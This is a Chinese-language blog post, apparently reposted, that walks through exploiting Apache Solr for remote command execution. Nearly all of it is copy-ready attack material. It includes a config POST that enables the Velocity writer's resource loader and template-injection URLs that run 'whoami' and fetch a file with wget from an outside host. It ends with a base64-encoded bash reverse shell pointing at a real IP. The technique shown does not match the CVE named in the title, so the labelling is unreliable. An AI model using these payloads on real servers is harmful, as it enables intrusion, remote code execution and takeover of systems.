当前位置:   article > 正文

Solr远程命令执行复现(cve-2019-0193)_solr cve-2019-0193

solr cve-2019-0193

环境搭建

启动环境并创建集合

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
  • 1
  • 2

环境搭建完成
在这里插入图片描述

漏洞利用

  • 查看模块名称
    在这里插入图片描述

  • 构造包开启params.resource.loader.enabled

POST /solr/test/config HTTP/1.1
Host: x.x.x.x:8983
Content-Type: application/json
Content-Length: 259
x.x.x.x
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述

  • 命令执行
    POST
http://118.24.150.160:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami %27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
  • 1

在这里插入图片描述

  • 下载文件
http://x.x.x.x:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27wget -O /tmp/aaaaaa http://x.x.x.x/1.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
  • 1
  • 反弹shell
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDcuMjQ2Ljk5Ljc2Lzg4ODggMD4mMQ== |base64 -d|bash -i
  • 1
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/58638
推荐阅读
相关标签
  

闽ICP备14008679号